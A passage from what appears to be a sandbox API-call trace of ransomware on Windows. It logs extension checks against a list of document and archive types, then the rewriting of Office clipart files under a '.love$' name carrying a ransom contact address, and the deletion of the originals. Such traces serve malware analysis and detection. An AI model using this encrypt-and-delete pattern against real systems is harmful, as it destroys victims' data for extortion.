Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0250.338] lstrlenW (lpString=".1cd") returned 4 [0250.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0250.338] lstrlenW (lpString=".jpg") returned 4 [0250.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0250.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0250.339] lstrlenW (lpString=".doc") returned 4 [0250.339] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.339] lstrlenW (lpString=".docx") returned 5 [0250.339] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.339] lstrlenW (lpString=".pdf") returned 4 [0250.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.339] lstrlenW (lpString=".xls") returned 4 [0250.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.339] lstrlenW (lpString=".xlsx") returned 5 [0250.339] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.339] lstrlenW (lpString=".ppt") returned 4 [0250.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0250.339] lstrlenW (lpString=".zip") returned 4 [0250.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.339] lstrlenW (lpString=".rar") returned 4 [0250.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.339] lstrlenW (lpString=".bz2") returned 4 [0250.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.339] lstrlenW (lpString=".7z") returned 3 [0250.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0250.339] lstrlenW (lpString=".dbf") returned 4 [0250.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0250.340] lstrlenW (lpString=".1cd") returned 4 [0250.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0250.340] lstrlenW (lpString=".jpg") returned 4 [0250.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.340] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0250.340] lstrlenW (lpString="FD00586_.WMF") returned 12 [0250.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0250.491] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=752) returned 1 [0250.491] CloseHandle (hObject=0x4e4) returned 1 [0250.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x220 [0250.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0251.121] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.121] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0251.763] GetLastError () returned 0x0 [0251.763] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x2f0, lpOverlapped=0x0) returned 1 [0251.765] WriteFile (in: hFile=0x488, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x300, lpOverlapped=0x0) returned 1 [0251.767] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0251.767] WriteFile (in: hFile=0x488, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0251.767] SetEndOfFile (hFile=0x488) returned 1 [0251.767] CloseHandle (hObject=0x488) returned 1 [0251.767] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.767] SetEndOfFile (hFile=0x450) returned 1 [0251.771] CloseHandle (hObject=0x450) returned 1 [0251.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0251.772] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 1 [0251.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0251.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0251.773] lstrlenW (lpString=".doc") returned 4 [0251.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.773] lstrlenW (lpString=".docx") returned 5 [0251.773] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.773] lstrlenW (lpString=".pdf") returned 4 [0251.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.773] lstrlenW (lpString=".xls") returned 4 [0251.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.773] lstrlenW (lpString=".xlsx") returned 5 [0251.774] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.774] lstrlenW (lpString=".ppt") returned 4 [0251.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0251.774] lstrlenW (lpString=".zip") returned 4 [0251.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.774] lstrlenW (lpString=".rar") returned 4 [0251.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.774] lstrlenW (lpString=".bz2") returned 4 [0251.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.774] lstrlenW (lpString=".7z") returned 3 [0251.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0251.774] lstrlenW (lpString=".dbf") returned 4 [0251.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0251.774] lstrlenW (lpString=".1cd") returned 4 [0251.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0251.774] lstrlenW (lpString=".jpg") returned 4 [0251.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0251.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0251.774] lstrlenW (lpString=".doc") returned 4 [0251.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.774] lstrlenW (lpString=".docx") returned 5 [0251.775] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.775] lstrlenW (lpString=".pdf") returned 4 [0251.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.775] lstrlenW (lpString=".xls") returned 4 [0251.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.775] lstrlenW (lpString=".xlsx") returned 5 [0251.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.775] lstrlenW (lpString=".ppt") returned 4 [0251.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0251.775] lstrlenW (lpString=".zip") returned 4 [0251.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.775] lstrlenW (lpString=".rar") returned 4 [0251.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.775] lstrlenW (lpString=".bz2") returned 4 [0251.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.775] lstrlenW (lpString=".7z") returned 3 [0251.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0251.775] lstrlenW (lpString=".dbf") returned 4 [0251.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0251.775] lstrlenW (lpString=".1cd") returned 4 [0251.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0251.775] lstrlenW (lpString=".jpg") returned 4 [0251.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.776] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0251.776] lstrlenW (lpString="FD01074_.WMF") returned 12 [0251.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0251.777] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4634) returned 1 [0251.777] CloseHandle (hObject=0x450) returned 1 [0251.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x220 [0251.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0251.778] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.778] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0251.779] GetLastError () returned 0x0 [0251.779] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x121a, lpOverlapped=0x0) returned 1 [0251.781] WriteFile (in: hFile=0x488, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1220, lpOverlapped=0x0) returned 1 [0251.783] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0251.783] WriteFile (in: hFile=0x488, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0251.783] SetEndOfFile (hFile=0x488) returned 1 [0251.783] CloseHandle (hObject=0x488) returned 1 [0251.783] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.783] SetEndOfFile (hFile=0x450) returned 1 [0251.788] CloseHandle (hObject=0x450) returned 1 [0251.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0251.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 1 [0251.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0251.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0251.790] lstrlenW (lpString=".doc") returned 4 [0251.790] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.790] lstrlenW (lpString=".docx") returned 5 [0251.790] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.790] lstrlenW (lpString=".pdf") returned 4 [0251.790] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.790] lstrlenW (lpString=".xls") returned 4 [0251.790] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.790] lstrlenW (lpString=".xlsx") returned 5 [0251.790] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.790] lstrlenW (lpString=".ppt") returned 4 [0251.790] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0251.790] lstrlenW (lpString=".zip") returned 4 [0251.790] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.790] lstrlenW (lpString=".rar") returned 4 [0251.790] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.790] lstrlenW (lpString=".bz2") returned 4 [0251.790] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.790] lstrlenW (lpString=".7z") returned 3 [0251.790] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0251.790] lstrlenW (lpString=".dbf") returned 4 [0251.791] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0251.791] lstrlenW (lpString=".1cd") returned 4 [0251.791] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0251.791] lstrlenW (lpString=".jpg") returned 4 [0251.791] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0251.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0251.791] lstrlenW (lpString=".doc") returned 4 [0251.791] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.791] lstrlenW (lpString=".docx") returned 5 [0251.791] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.791] lstrlenW (lpString=".pdf") returned 4 [0251.791] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.791] lstrlenW (lpString=".xls") returned 4 [0251.791] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.791] lstrlenW (lpString=".xlsx") returned 5 [0251.791] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.791] lstrlenW (lpString=".ppt") returned 4 [0251.791] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0251.791] lstrlenW (lpString=".zip") returned 4 [0251.791] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.791] lstrlenW (lpString=".rar") returned 4 [0251.791] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.791] lstrlenW (lpString=".bz2") returned 4 [0251.791] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.792] lstrlenW (lpString=".7z") returned 3 [0251.792] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0251.792] lstrlenW (lpString=".dbf") returned 4 [0251.792] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0251.792] lstrlenW (lpString=".1cd") returned 4 [0251.792] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0251.792] lstrlenW (lpString=".jpg") returned 4 [0251.792] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.792] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0251.792] lstrlenW (lpString="FD01084_.WMF") returned 12 [0251.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0251.794] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2412) returned 1 [0251.795] CloseHandle (hObject=0x450) returned 1 [0251.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x220 [0251.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0251.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0251.795] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.795] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0251.796] GetLastError () returned 0x0 [0251.797] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x96c, lpOverlapped=0x0) returned 1 [0252.092] WriteFile (in: hFile=0x488, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x970, lpOverlapped=0x0) returned 1 [0252.093] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0252.093] WriteFile (in: hFile=0x488, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0252.093] SetEndOfFile (hFile=0x488) returned 1 [0252.093] CloseHandle (hObject=0x488) returned 1 [0252.094] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.094] SetEndOfFile (hFile=0x450) returned 1 [0252.097] CloseHandle (hObject=0x450) returned 1 [0252.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0252.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 1 [0252.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0252.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0252.099] lstrlenW (lpString=".doc") returned 4 [0252.099] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.099] lstrlenW (lpString=".docx") returned 5 [0252.099] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.099] lstrlenW (lpString=".pdf") returned 4 [0252.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.100] lstrlenW (lpString=".xls") returned 4 [0252.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.100] lstrlenW (lpString=".xlsx") returned 5 [0252.100] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.100] lstrlenW (lpString=".ppt") returned 4 [0252.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0252.100] lstrlenW (lpString=".zip") returned 4 [0252.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.100] lstrlenW (lpString=".rar") returned 4 [0252.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.100] lstrlenW (lpString=".bz2") returned 4 [0252.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.100] lstrlenW (lpString=".7z") returned 3 [0252.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0252.100] lstrlenW (lpString=".dbf") returned 4 [0252.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0252.100] lstrlenW (lpString=".1cd") returned 4 [0252.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0252.100] lstrlenW (lpString=".jpg") returned 4 [0252.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.100] lstrlenW (lpString="C:\\Program Files\\Microsoft 